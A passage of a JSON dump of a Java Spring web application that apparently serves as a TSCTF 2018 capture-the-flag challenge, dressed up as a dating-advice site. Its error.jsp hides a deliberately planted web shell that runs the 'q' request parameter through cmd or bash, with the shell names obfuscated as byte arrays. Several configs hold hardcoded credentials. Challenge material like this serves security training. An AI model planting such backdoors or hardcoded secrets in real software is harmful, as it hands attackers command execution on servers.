x.replace(/^\\s+|\\s+$/gm,'');\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/js/showTips.js",
    "content": "//tip是提示信息，type:'success'是成功信息，'danger'是失败信息,'info'是普通信息\nfunction ShowTip(tip, type) {\n    var $tip = $('#tip');\n    if ($tip.length == 0) {\n        $tip = $('<span id=\"tip\" style=\"font-weight:bold;position:fixed;top:20px;left: 50%;z-index:9999\"></span>');\n        $('body').append($tip);\n    }\n    $tip.stop(true).attr('class', 'alert alert-' + type).text(tip).css('margin-left', -$tip.outerWidth() / 2).fadeIn(500).delay(3000).fadeOut(1500);\n}\n\nfunction ShowMsg(msg) {\n    ShowTip(msg, 'info');\n}\n\nfunction ShowSuccess(msg) {\n    ShowTip(msg, 'success');\n}\n\nfunction ShowFailure(msg) {\n    ShowTip(msg, 'danger');\n}\n\nfunction ShowWarn(msg, $focus, clear) {\n    ShowTip(msg, 'warning');\n    if ($focus) $focus.focus();\n    if (clear) $focus.val('');\n    return false;\n}"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/bupt-servlet.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\">\n    <!-- 扫描web包，应用Spring的注解 -->\n    <context:component-scan base-package=\"com.bupt.web\"/>\n\n    <!-- 配置视图解析器，将ModelAndView及字符串解析为具体的页面 -->\n    <bean\n            class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\"\n            p:viewClass=\"org.springframework.web.servlet.view.JstlView\"\n            p:prefix=\"/WEB-INF/jsp/\"\n            p:suffix=\".jsp\" />\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/spring/ApplicationContext-dao.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd\">\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\"\n          destroy-method=\"close\"\n          p:driverClassName=\"com.mysql.jdbc.Driver\"\n          p:url=\"jdbc:mysql://localhost:3306/chapter2?characterEncoding=UTF-8\"\n          p:username=\"tomcat\"\n          p:password=\"tomcat\"/>\n\n\n    <!-- 配置Jdbc模板  -->\n    <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\"\n          p:dataSource-ref=\"dataSource\"/>\n\n\n\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/spring/ApplicationContext-service.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\n       http://www.springframework.org/schema/tx\n       http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n       http://www.springframework.org/schema/aop\n       http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\">\n    <!-- 扫描类包，将标注Spring注解的类自动转化Bean，同时完成Bean的注入 -->\n    <context:component-scan base-package=\"com.bupt.dao\"/>\n    <context:component-scan base-package=\"com.bupt.service\"/>\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/spring/spring-context.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd\n       http://www.springframework.org/schema/tx\n       http://www.springframework.org/schema/tx/spring-tx-4.0.xsd\n       http://www.springframework.org/schema/aop\n       http://www.springframework.org/schema/aop/spring-aop-4.0.xsd\">\n\n    <!-- 扫描类包，将标注Spring注解的类自动转化Bean，同时完成Bean的注入 -->\n    <context:component-scan base-package=\"com.bupt.dao\"/>\n    <context:component-scan base-package=\"com.bupt.service\"/>\n\n    <!-- 配置数据源 -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\"\n          destroy-method=\"close\"\n          p:driverClassName=\"com.mysql.jdbc.Driver\"\n          p:url=\"jdbc:mysql://localhost:3306/chapter2\"\n          p:username=\"root\"\n          p:password=\"root\" />\n\n\n    <!-- 配置Jdbc模板  -->\n    <bean id=\"jdbcTemplate\" class=\"org.springframework.jdbc.core.JdbcTemplate\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 配置事务管理器 -->\n    <bean id=\"transactionManager\"\n          class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\"\n          p:dataSource-ref=\"dataSource\" />\n\n    <!-- 通过AOP配置提供事务增强，让service包下所有Bean的所有方法拥有事务 -->\n    <aop:config proxy-target-class=\"true\">\n        <aop:pointcut id=\"serviceMethod\"\n                      expression=\"(execution(* com.bupt.service..*(..))) and (@annotation(org.springframework.transaction.annotation.Transactional))\" />\n        <aop:advisor pointcut-ref=\"serviceMethod\" advice-ref=\"txAdvice\" />\n    </aop:config>\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"*\" />\n        </tx:attributes>\n    </tx:advice>\n</beans>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/spring/sprintmvc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\"\n       xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:p=\"http://www.springframework.org/schema/p\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:mvc=\"http://www.springframework.org/schema/mvc\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans\n       http://www.springframework.org/schema/beans/spring-beans-4.0.xsd\n       http://www.springframework.org/schema/context\n       http://www.springframework.org/schema/context/spring-context-4.0.xsd http://www.springframework.org/schema/mvc http://www.springframework.org/schema/mvc/spring-mvc.xsd\">\n\n\n    <mvc:annotation-driven/>\n    <context:annotation-config />\n\n    <!-- 扫描web包，应用Spring的注解 -->\n    <context:component-scan base-package=\"com.bupt.web\"/>\n\n    <!--全局错误信息处理器\n      只要实现HandlerExceptionResolver接口就是全局异常处理器\n    -->\n    <!--<bean class=\"com.bupt.exception.CustomExceptionResolver\"/>-->\n\n    <!-- 拦截器 -->\n    <mvc:interceptors>\n         <!--多个拦截器，顺序执行 -->\n         <!--如果有多个拦截器，则按照顺序进行配置-->\n        <mvc:interceptor>\n            <mvc:mapping path=\"/profile/add\"/>\n             <!--配置自定义的文件上传类型限制拦截器-->\n            <bean class=\"com.bupt.interceptor.FileTypeInterceptor\"/>\n        </mvc:interceptor>\n\n        <mvc:interceptor>\n            <mvc:mapping path=\"/profile/**\"/>\n            <mvc:mapping path=\"/download/**\"/>\n            <mvc:mapping path=\"/admin/**\"/>\n            <bean class=\"com.bupt.interceptor.LoginInterceptor\"/>\n        </mvc:interceptor>\n\n    </mvc:interceptors>\n\n    <!-- 对文件上传的处理，这里声明的id必须为multipartResolver-->\n    <bean id=\"multipartResolver\"  class=\"org.springframework.web.multipart.commons.CommonsMultipartResolver\" >\n        <!--  最大为10M，单位为字节   -->\n        <!--<property name=\"maxUploadSize\" value=\"10485760\"></property>-->\n        <property name=\"defaultEncoding\" value=\"utf-8\"></property>\n        <property name=\"maxInMemorySize\" value=\"40960\"></property>\n    </bean>\n\n    <bean class=\"com.bupt.common.SpringExceptionResolver\" />\n\n    <bean class=\"org.springframework.web.servlet.view.BeanNameViewResolver\" />\n\n    <bean id=\"jsonView\" class=\"org.springframework.web.servlet.view.json.MappingJackson2JsonView\" />\n\n    <!-- 配置视图解析器，将ModelAndView及字符串解析为具体的页面 -->\n    <bean class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\">\n        <property name=\"prefix\" value=\"/WEB-INF/jsp/\" />\n        <property name=\"suffix\" value=\".jsp\" />\n    </bean>\n    <!--<bean-->\n            <!--class=\"org.springframework.web.servlet.view.InternalResourceViewResolver\"-->\n            <!--p:viewClass=\"org.springframework.web.servlet.view.JstlView\"-->\n            <!--p:prefix=\"/WEB-INF/jsp/\"-->\n            <!--p:suffix=\".jsp\"/>-->\n\n    <!-- 配置静态资源 -->\n    <mvc:default-servlet-handler />\n    <!--对静态资源文件的访问 -->\n\n    <mvc:resources location=\"/css/\" mapping=\"/css/**\"/>\n    <mvc:resources location=\"/js/\" mapping=\"/js/**\"/>\n    <mvc:resources location=\"/bootstrap3.3.5/\" mapping=\"/bootstrap3.3.5/**\"/>\n    <mvc:resources location=\"/images/\" mapping=\"/images/**\"/>\n\n</beans>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/classes/sysConfig.properties",
    "content": "#Mail\nmail.transport.protocol=SMTP\n#mail.smtp.host=smtp.163.com\nmail.smtp.host=mail.bupt.edu.cn\nmail.smtp.port=25\nmail.smtp.auth=true\nmail.smtp.timeout=25000\nmail.username=test@bupt.edu.cn\nmail.password=test\n\n#system star and end time\nsystem.start.time=2018-05-24 15:10:00\nsystem.end.time=2018-06-28 17:00:00\nsystem.time.format=yyyy-MM-dd HH:mm:ss\n\nsystem.emailOperation.start.time=2018-05-24 15:10:00\nsystem.emailOperation.end.time=2018-07-17 16:03:00\n\nsystem.public.ctf.email=test@bupt.edu.cn\n#competition.link.releaseState=false\ncompetition.link.releaseState=true\n#信息学竞赛入口\ncompetition.link.noip=http://2018.tsctf.com\n#CTF竞赛入口\ncompetition.link.ctf=http://2018.tsctf.com"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/alink.jsp",
    "content": "<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"container\">\n    <div class=\"row text-center\">\n        <h2>信息公告栏</h2>\n    </div>\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <div class=\"row\" style=\"margin-top: 50px\">\n                <div class=\"col-md-1\"></div>\n                <div class=\"col-md-10\">\n                    <div class=\"media\" style=\"margin-bottom: 30px\">\n                        <div class=\"media-left media-middle\">\n                            <a href=\"#\">\n                                <img class=\"media-object\" src=\"${cp}asset/image/icon.jpg\" alt=\"...\">\n                            </a>\n                        </div>\n                        <div class=\"media-body\">\n                            <h4 class=\"media-heading\" style=\"color: red\"><a href=\"#\">恋爱的季节</a></h4>\n                            <div class=\"row\">\n                                <div class=\"col-md-12\">一首《明天会更好》送给单身狗们</div>\n                                <!--<div class=\"col-md-4 text-right\"><a href=\"#\" class=\"btn btn-success\">查看</a></div>-->\n                            </div>\n                        </div>\n                    </div>\n                    <div class=\"media\" style=\"margin-bottom: 30px\">\n                        <div class=\"media-left media-middle\">\n                            <a href=\"#\">\n                                <img class=\"media-object\" src=\"${cp}asset/image/icon.jpg\" alt=\"...\">\n                            </a>\n                        </div>\n                        <div class=\"media-body\">\n                            <h4 class=\"media-heading\" style=\"color: red\"><a href=\"#\">恋爱的季节</a></h4>\n                            <div class=\"row\">\n                                <div class=\"col-md-12\"> 春天是一个恋爱的季节</div>\n                                <!--<div class=\"col-md-4 text-right\"><a href=\"#\" class=\"btn btn-success\">查看</a></div>-->\n                            </div>\n                        </div>\n                    </div>\n                </div>\n                <div class=\"col-md-1\"></div>\n            </div>\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/arrangeMent.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SysConfigUtils\" %>\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"content\">\n    <div class=\"container\">\n\n        <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-3  text-left\">\n                <div class=\"list-group\">\n                    <a href=\"${cp}/profile/profileEditHtml.html\" class=\"list-group-item list-group-item-success\">修改个人信息</a>\n                    <a href=\"${cp}/profile/info.html\" class=\"list-group-item list-group-item-info\">想脱单的点进&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></a>\n                    <a href=\"${cp}/profile/competitionRule.html\" class=\"list-group-item list-group-item-success\">恋爱经验分享&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></a>\n                </div>\n            </div>\n            <div class=\"col-md-9\">\n                <div class=\"row\">\n                    <div class=\"col-sm-12\">\n                        <div class=\"col-xs-12\">\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n                                    <h3>如何才能优雅的“脱单”&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></h3>\n                                </div>\n                            </div>\n\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n                                </div>\n                            </div>\n\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n\n                                </div>\n                            </div>\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;哈哈哈，一看就是一只还没脱单的单身狗，汪汪汪~</p>\n                                </div>\n                            </div>\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-center\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>吃完今天的狗粮，早点洗洗睡吧</b></p>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/competitionRule.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SysConfigUtils\" %>\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n\n<div class=\"content\">\n    <div class=\"container\">\n\n        <div class=\"row\" style=\"margin-bottom: 10px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-3  text-left\">\n                <div class=\"list-group\">\n                    <a href=\"${cp}/profile/profileEditHtml.html\" class=\"list-group-item list-group-item-success\">修改个人信息</a>\n                    <a href=\"${cp}/profile/info.html\" class=\"list-group-item list-group-item-success\">想脱单的点进&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></a>\n                    <a href=\"${cp}/profile/competitionRule.html\" class=\"list-group-item list-group-item-info\">恋爱经验分享&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></a>\n                </div>\n            </div>\n            <div class=\"col-md-9\">\n                <div class=\"row\">\n            <div class=\"col-sm-12\">\n                <div class=\"col-xs-12\">\n                    <div class=\"row\">\n                        <div class=\"col-md-12 text-center\">\n                            <h3>恋爱的季节-经验分享&nbsp;&nbsp;<span class=\"glyphicon glyphicon-fire\" style=\"color: red\"></span></h3>\n                        </div>\n                    </div>\n\n                    <div class=\"row\">\n                        <div class=\"col-md-12 text-center\">\n                            <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>\n                        </div>\n                    </div>\n\n                    <div class=\"row\">\n                        <div class=\"col-md-12 text-center\">\n\n                        </div>\n                    </div>\n\n                    <div class=\"row\">\n                        <div class=\"col-md-12\">\n                            <div class=\"row\">\n                                <div class=\"col-md-12 text-left\" style=\"padding-left:7%\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;无论从生物学人类繁衍，物种延续，基因传承的本能来说，还是社会学人们对亲密关系的需求，爱情是世世代代人类需要面临的问题</p>\n                                </div>\n                            </div>\n                        </div>\n                    </div>\n\n                    <div class=\"row\">\n                        <div class=\"col-md-12\" style=\"padding-left:5%\">\n                            <p>&nbsp;&nbsp;&nbsp;&nbsp;<b>1. 增加魅力</b></p>\n\n                            <div class=\"row\">\n                                <div class=\"col-md-12\" style=\"padding-left:5%\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;吸引异性的魅力有两种，一种是和性别无关的魅力，这种魅力男女都可以有，例如：外貌姣好，情商高；另一种是和性别有关的魅力，例如：男性的魁梧高大、事业有成，女性的温柔可爱。因此不管是追求阶段还是恋爱当中，都需要注意这种魅力的展示与提升。从外在形象，人品学识，到才华能力都是产生吸引力的因素，很多时候，一个人的魅力往往在细节中体现出来，比如：男生约女生吃饭的时候主动帮对方调节座位则被认为是有风度的表现。\n                                    </p>\n                                </div>\n                            </div>\n                        </div>\n\n                        <div class=\"row\">\n                            <div class=\"col-md-12\" style=\"padding-left:5%\">\n                                <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>2. 增加相处机会</b></p>\n\n                                <div class=\"row\">\n                                    <div class=\"col-md-12\" style=\"padding-left:5%\">\n                                        <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;日远日疏，日近日亲”，两人接触在一起的时间长了，就会制造出机会来。所以看到一个中意的男生，一定要制造机会缠住他，有机会要接近他，没有机会创造机会也要接近他。《倚天屠龙记》赵敏就是心有灵犀，也自觉不自觉地运用了这一计策，正是在去灵蛇岛的途中，张无忌和赵敏才有了深厚的感情。 共同经历更容易产生共鸣。一起有过一段美好的经历，彼此可能产生性吸引。一起经历过苦难，在苦难中相互帮助，给与彼此温暖的感觉，彼此也可能产生性吸引。要有共同的经历，首先得增加接触，在早期可以从做朋友开始，相处的机会多了，在一起有了共同的经历，相互之间了解更多，就可能逐渐产生感情\n                                        </p>\n                                    </div>\n                                </div>\n                            </div>\n                            <div class=\"row\">\n                                <div class=\"col-md-12\" style=\"padding-left:5%;margin-bottom: 50px\">\n                                    <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<b>3. 恋爱经验下载</b></p>\n\n                                    <div class=\"row\">\n                                        <div class=\"col-md-4\" style=\"padding-left:5%\">\n                                            <a href=\"${cp}download/files?file=dlive.pdf\" class=\"btn btn-primary btn-sm\">\n                                                <span class=\"glyphicon glyphicon-download-alt\" aria-hidden=\"true\"></span> D师傅的恋爱经验\n                                            </a>\n                                        </div>\n                                        <div class=\"col-md-4\" style=\"padding-left:5%\">\n                                            <a href=\"${cp}download/files?file=spike.pdf\" class=\"btn btn-primary btn-sm\">\n                                                <span class=\"glyphicon glyphicon-download-alt\" aria-hidden=\"true\"></span> S师傅的恋爱经验\n                                            </a>\n                                        </div>\n                                        <div class=\"col-md-4\" style=\"padding-left:5%\">\n                                            <a href=\"${cp}download/files?file=afternoon.pdf\" class=\"btn btn-primary btn-sm\">\n                                                <span class=\"glyphicon glyphicon-download-alt\" aria-hidden=\"true\"></span> A师傅的恋爱经验\n                                            </a>\n                                        </div>\n                                    </div>\n                                </div>\n                            </div>\n\n                        </div>\n\n                    </div>\n                </div>\n\n            </div>\n        </div>\n            </div>\n        </div>\n        <div class=\"row\">\n            <div class=\"col-md-12\">\n\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\">\n            <div class=\"col-md-12\">\n\n            </div>\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/error.jsp",
    "content": "\n<%@ page import=\"java.util.Scanner\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<%//留的后门\n    String op=\"Got Nothing\";\n    String query = request.getParameter(\"q\");\n    String fileSeparator = String.valueOf(java.io.File.separatorChar);\n    Boolean isWin;\n    if(fileSeparator.equals(\"\\\\\")){\n        isWin = true;\n    }else{\n        isWin = false;\n    }\n\n    if (query != null) {\n        ProcessBuilder pb;\n        if(isWin) {\n            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);\n        }else{\n            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);\n        }\n        Process process = pb.start();\n        Scanner sc = new Scanner(process.getInputStream()).useDelimiter(\"\\\\A\");\n        op = sc.hasNext() ? sc.next() : op;\n        sc.close();\n    }\n%>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <h3>请求异常</h3>\n        </div>\n    </div>\n    <div class=\"row\" style=\"margin-top: 30px\">\n        <div class=\"col-md-12\">\n            <div class=\"panel panel-default\">\n                <div class=\"panel-heading\">\n                    <h3 class=\"panel-title\">\n                        错误信息\n                    </h3>\n                </div>\n                <div class=\"panel-body\">\n                    ${message}\n                </div>\n            </div>\n\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/excel.jsp",
    "content": "\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-md-12\">\n            <h3>系统管理</h3>\n        </div>\n    </div>\n    <div class=\"row\" style=\"margin-top: 30px\">\n        <div class=\"col-md-12\">\n            <div class=\"panel panel-default\">\n                <div class=\"panel-heading\">\n                    <h3 class=\"panel-title\">\n                        下载报名表信息\n                    </h3>\n                </div>\n                <div class=\"panel-body\">\n                    <form action=\"<%=basePath%>admin/excel.html\" method=\"post\">\n                        <input type=\"submit\" class=\"btn btn-success\" value=\"下载\">\n                    </form>\n                    <p>${flag}</p>\n                </div>\n            </div>\n\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/exception.jsp",
    "content": "\n\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n<jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n\n<div class=\"container\">\n    <div class=\"row\">\n        <div class=\"col-md-12 text-center\">\n            <h3>请求出错</h3>\n        </div>\n    </div>\n    <div class=\"row\" style=\"margin-top: 30px\">\n        <div class=\"col-md-12\">\n            <div class=\"panel panel-default\">\n                <div class=\"panel-heading\">\n                    <h3 class=\"panel-title\">\n                        错误信息\n                    </h3>\n                </div>\n                <div class=\"panel-body\">\n                    请求异常！\n                </div>\n            </div>\n\n        </div>\n    </div>\n</div>\n<jsp:include page=\"/common/footer.jsp\"></jsp:include>\n</body>\n</html>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/target/charpter2-1.0-SNAPSHOT/WEB-INF/jsp/find.jsp",
    "content": "<%@ page import=\"com.bupt.utils.SystemDateTimeChecker\" %>\n<%@ taglib prefix=\"c\" uri=\"http://java.sun.com/jsp/jstl/core\" %>\n<%@ page contentType=\"text/html;charset=UTF-8\" language=\"java\" %>\n<%\n    String path = request.getContextPath();\n    String basePath = request.getScheme()+\"://\"+request.getServerName()+\":\"+request.getServerPort()+path+\"/\";\n%>\n<c:set var=\"cp\" value=\"<%=basePath%>\" />\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <jsp:include page=\"/common/head.jsp\"></jsp:include>\n</head>\n<body>\n    <jsp:include page=\"/common/navigator.jsp\"></jsp:include>\n<div class=\"content\">\n    <div class=\"container\">\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n\n        <div class=\"row\">\n            <div class=\"col-md-12 text-center\">\n                <h2>找回密码</h2>\n            </div>\n        </div>\n        <div class=\"row\" style=\"margin-bottom: 50px\"></div>\n        <div class=\"row\">\n            <div class=\"col-md-3\"></div>\n            <div class=\"col-md-6\">\n                <div class=\"row\">\n                    <div class=\"col-sm-12 text-right\">\n                        <div class=\"form-horizontal\">\n                            <form role=\"form\" action=\"${cp}user/find.html\" id=\"find-reset-submit\" method=\"post\">\n                                <fieldset>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 用户名:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"text\" id=\"username\" name=\"username\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                            <span class=\"glyphicon glyphicon-user\"></span>\n                                        </span>\n                                        </div>\n                                    </div>\n                                    <div class=\"form-group\">\n                                        <label class=\"col-sm-3 control-label\">* 邮箱:</label>\n                                        <div class=\"col-sm-7 input-group\">\n                                            <input type=\"text\" id=\"email\" name=\"email\" class=\"form-control\">\n                                            <span class=\"input-group-addon\">\n                                            <span class=\"glyphicon glyphicon-envelope\"></span>\n                                        </span>\n                                        